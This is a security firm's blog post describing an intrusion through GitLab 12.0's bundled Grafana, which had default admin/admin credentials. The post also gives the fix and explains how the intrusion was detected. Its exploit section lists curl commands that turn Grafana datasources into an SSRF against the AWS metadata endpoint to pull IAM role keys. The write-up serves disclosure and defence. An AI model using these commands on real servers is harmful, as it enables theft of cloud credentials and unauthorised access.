How we fixed a 0day exploit on GitLab 12.0 Vulnerability

By Manuel Luna, EDRANS Cloud Engineer

On August 6th, due to a critical intrusion on one of our GitLab servers hosted on AWS we were able to discover a 0day vulnerability on GitLab. This issue didn’t fix until Aug 12, 2019, in 12.1.6v

We always try to get the latest version of every service as soon as possible. We believe that all updates, especially the security-related ones are mandatory. Our commitment to the users is to provide the most secure infrastructure we can, and theoretically, every version is more secure than the previous one. But in reality, some versions come with gruesome vulnerabilities, that was the case on GitLab 12.0.

This version comes with a Grafana service automatically deployed and enabled, with “admin/admin” credentials. This enables an intruder to enter the service and escalate privileges until the total control of the system (luckily).

Background vector created by upklyak — www.freepik.com

The exploit

This xploit is a type of SSRF (server-side request forgery). The attacker will utilize the metadata link-local URL to retrieve the instance roles credentials. These credentials rotate every 01 to 06 hrs, so the attacker has this window of time to perform his attack.

Note that these credentials will allow the attacker to reach only the resources that this instance is allowed to. As the instance is a GitLab server, the most common place to look at is the Amazon S3 backups bucket.

The first step is to create a Datasource in Grafana server which points to the metadata URL:

curl -X PUT http://admin:admin@<ip_gitlab>/-/graphana/api/datasources/1 -H “Content-Type:application/json” -d ‘{“Name”:”test1”,”Type”:”graphite”,”Access”:”proxy”,”url”:”http://169.254.169.254/latest/meta-data/iam/security-credentials/”,”password”:””,”user”:””,”database”:””}’

The above command will create a Datasource that returns the name of the role attached to the instance. To do so we request re recently created Datasource by curl

curl -X PUT http://admin:admin@<ip_gitlab>/-/graphana/api/datasources/proxy/1

Once we have the name of the role we can create a new Datasource pointing directly to it in order to retrieve the credentials.

curl -X PUT http://admin:admin@<ip_gitlab>/-/graphana/api/datasources/1 -H “Content-Type:application/json” -d ‘{“Name”:”test1”,”Type”:”graphite”,”Access”:”proxy”,”url”:”http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-instance-name>”,”password”:””,”user”:””,”database”:””}’

This way the next time we consult the API it will return the access and secret keys attached to the role

curl -X PUT http://admin:admin@<ip_gitlab>/-/graphana/api/datasources/proxy/1

Exporting these credentials to our env will allow us to use the AWS CLI console to explore whatever this role has permission to.

The problem

IF we would read the changelog there clearly said that this service was on and vulnerable. But we didn’t read it. At least not so thorough. Anyway properly initial behavior should be disabled and not use “admin/admin” as default credentials.

This vulnerability also remarks on the necessity of proper granular permissions. As a good practice, every role must have ONLY the permissions the application needs and no more.

If the role would have admin access to AWS or total access to S3 the damage an attacker could do would be immense.

The (hot)fix

After a short talk with the Gitlab.com team, we were instructed on how to disable the grafana service by default. We needed to add a parameter to the gitlab.rb config file

grafana['enable'] = false

Conclusion

Happily, this particular case comes with no repercussions, as the breached server was in a testing environment and has none sensitive data. Anyway, after 15min of the attack, an AWS CloudTrail notification alerts us on the Slack channel that a pair of credentials were used from an unknown location.

This allowed us to quickly respond and block the IP and revoke the role credentials.

Want to talk to us about security?

We can schedule a Cloud Security Assessment in order to present to your business results, generate a remediation road map, and work with your team to close a potential security gap efficiently.

Reach us at hello@edrans.com!